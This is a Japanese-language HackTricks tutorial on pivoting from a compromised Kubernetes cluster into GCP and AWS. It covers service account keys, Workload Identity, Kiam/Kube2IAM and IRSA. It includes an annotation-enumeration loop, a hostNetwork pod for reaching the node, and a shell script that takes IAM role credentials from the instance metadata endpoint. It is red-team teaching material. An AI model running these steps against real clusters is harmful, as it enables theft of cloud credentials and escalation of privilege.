Kubernetes Pivoting to Clouds
Reading time: 17 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
GCP
GCP内でk8sクラスターを実行している場合、クラスター内で実行されているアプリケーションがGCPにアクセスできるようにしたいと思うでしょう。これを行う一般的な方法は2つあります。
GCP-SAキーをシークレットとしてマウントする
KubernetesアプリケーションにGCPへのアクセスを提供する一般的な方法は次のとおりです。
- GCPサービスアカウントを作成する
- 必要な権限をバインドする
- 作成したSAのjsonキーをダウンロードする
- ポッド内にシークレットとしてマウントする
- jsonがあるパスを指すGOOGLE_APPLICATION_CREDENTIALS環境変数を設定する
warning
したがって、攻撃者として、ポッド内のコンテナを侵害した場合は、そのenv variableとjson filesにGCPの資格情報が含まれているか確認する必要があります。
GSA jsonをKSAシークレットに関連付ける
GKEクラスターにGSAへのアクセスを提供する方法は、次のようにバインドすることです。
- 次のコマンドを使用して、GKEクラスターと同じ名前空間にKubernetesサービスアカウントを作成します。
Copy codekubectl create serviceaccount <service-account-name>
- GKE クラスターへのアクセスを付与したい GCP サービス アカウントの資格情報を含む Kubernetes Secret を作成します。次の例のように、
gcloud
コマンドライン ツールを使用してこれを行うことができます:
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
- 次のコマンドを使用して、Kubernetes SecretをKubernetesサービスアカウントにバインドします:
Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
warning
第二のステップでは、KSAの秘密としてGSAの資格情報が設定されました。その後、GKEクラスターの内部からその秘密を読み取ることができれば、そのGCPサービスアカウントに昇格することができます。
GKEワークロードアイデンティティ
ワークロードアイデンティティを使用すると、KubernetesサービスアカウントをGoogleサービスアカウントとして機能するように構成できます。Kubernetesサービスアカウントで実行されるポッドは、Google Cloud APIにアクセスする際に自動的にGoogleサービスアカウントとして認証されます。
この動作を有効にするための最初の一連のステップは、GCPでワークロードアイデンティティを有効にすること(手順)と、k8sが模倣するGCP SAを作成することです。
- 新しいクラスターでワークロードアイデンティティを有効にする
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
- 新しいノードプールを作成/更新する(オートパイロットクラスターでは必要ありません)
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
- K8sからGCP権限を持つGCPサービスアカウントを偽装するを作成します:
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
- クラスターに接続し、使用するサービスアカウントを作成します。
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
# Generate our testing namespace
kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
- GSAをKSAにバインドする
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"
# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
- KSAを使用してpodを実行し、GSAへのアクセスを確認します:
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-
# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash
# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
必要に応じて認証するための次のコマンドを確認してください:
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
warning
K8s内の攻撃者として、iam.gke.io/gcp-service-account
アノテーションを持つSAsを検索するべきです。これは、そのSAがGCP内の何かにアクセスできることを示しています。もう一つの選択肢は、クラスター内の各KSAを悪用し、それがアクセス権を持っているかどうかを確認することです。
GCPからは、バインディングを列挙し、Kubernetes内のSAsにどのようなアクセスを与えているかを知ることが常に興味深いです。
これは、そのアノテーションを探すためにすべてのポッド定義を簡単に反復するスクリプトです:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"
AWS
Kiam & Kube2IAM (PodsのためのIAMロール)
PodsにIAMロールを付与する(古い)方法は、KiamまたはKube2IAM サーバーを使用することです。基本的に、特権のあるIAMロールのデーモンセットをクラスター内で実行する必要があります。このデーモンセットが、必要なポッドにIAMロールへのアクセスを提供します。
まず最初に、どのロールがネームスペース内でアクセス可能かを設定する必要があり、これはネームスペースオブジェクト内のアノテーションで行います:
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
名前空間がIAMロールで構成されると、Podは次のように各Pod定義で希望するロールを指定できます:
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
warning
攻撃者として、もしポッドや名前空間にこれらの注釈が見つかったり、kiam/kube2iamサーバーが実行されている場合(おそらくkube-system内で)、あなたはポッドによって既に使用されているすべてのroleをなりすますことができ、さらに(AWSアカウントにアクセスできる場合はロールを列挙できます)。
IAMロールを持つポッドの作成
note
指定するIAMロールは、kiam/kube2iamロールと同じAWSアカウント内に存在し、そのロールがアクセスできる必要があります。
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
IAM Role for K8s Service Accounts via OIDC
これはAWSによる推奨方法です。
- まず最初に、クラスターのためのOIDCプロバイダーを作成する必要があります。
- 次に、SAが必要とする権限を持つIAMロールを作成します。
- IAMロールとSAの間に信頼関係を作成する必要があります(または、名前空間がロールへのアクセスをすべてのSAに与える)。信頼関係は主にOIDCプロバイダー名、名前空間名、SA名を確認します。
- 最後に、ロールのARNを示すアノテーションを持つSAを作成し、そのSAで実行されるポッドはロールのトークンにアクセスできるようになります。トークンはファイルに書き込まれ、パスは**
AWS_WEB_IDENTITY_TOKEN_FILE
**に指定されます(デフォルト:/var/run/secrets/eks.amazonaws.com/serviceaccount/token
)。
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
/var/run/secrets/eks.amazonaws.com/serviceaccount/token
からのトークンを使用して awsを取得する には、次のコマンドを実行します:
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
warning
攻撃者として、K8s クラスターを列挙できる場合は、そのアノテーションを持つサービスアカウントを確認してAWSにエスカレートしてください。そうするには、IAMの特権サービスアカウントの1つを使用してexec/createを行い、トークンを盗みます。
さらに、ポッド内にいる場合は、AWS_ROLE_ARNやAWS_WEB_IDENTITY_TOKENのような環境変数を確認してください。
caution
時々、役割のTrust Policyが不適切に構成されている場合があり、期待されるサービスアカウントにAssumeRoleアクセスを与える代わりに、すべてのサービスアカウントに与えてしまうことがあります。したがって、制御されたサービスアカウントにアノテーションを書き込むことができれば、その役割にアクセスできます。
詳細については、以下のページを確認してください:
クラスター内のIAMロールを持つポッドとサービスアカウントを見つける
これは、すべてのポッドとサービスアカウントの定義を反復処理してそのアノテーションを探すためのスクリプトです:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"
Node IAM Role
前のセクションでは、ポッドを使用してIAMロールを盗む方法について説明しましたが、K8sクラスターのノードはクラウド内のインスタンスであることに注意してください。これは、ノードが新しいIAMロールを持っている可能性が高いことを意味します(通常、K8sクラスターのすべてのノードは同じIAMロールを持っているため、各ノードを確認する価値がないかもしれません)。
ただし、ノードからメタデータエンドポイントにアクセスするためには重要な要件があります。ノード内にいる必要があります(sshセッション?)または少なくとも同じネットワークにいる必要があります。
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
IAMロールトークンを盗む
以前、ポッドにIAMロールをアタッチする方法や、インスタンスにアタッチされているIAMロールを盗むためにノードにエスケープする方法について説明しました。
次のスクリプトを使用して、あなたの新しく努力して得たIAMロールの資格情報を盗むことができます:
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi
参考文献
- https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity
- https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c
- https://blogs.halodoc.io/iam-roles-for-service-accounts-2/
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。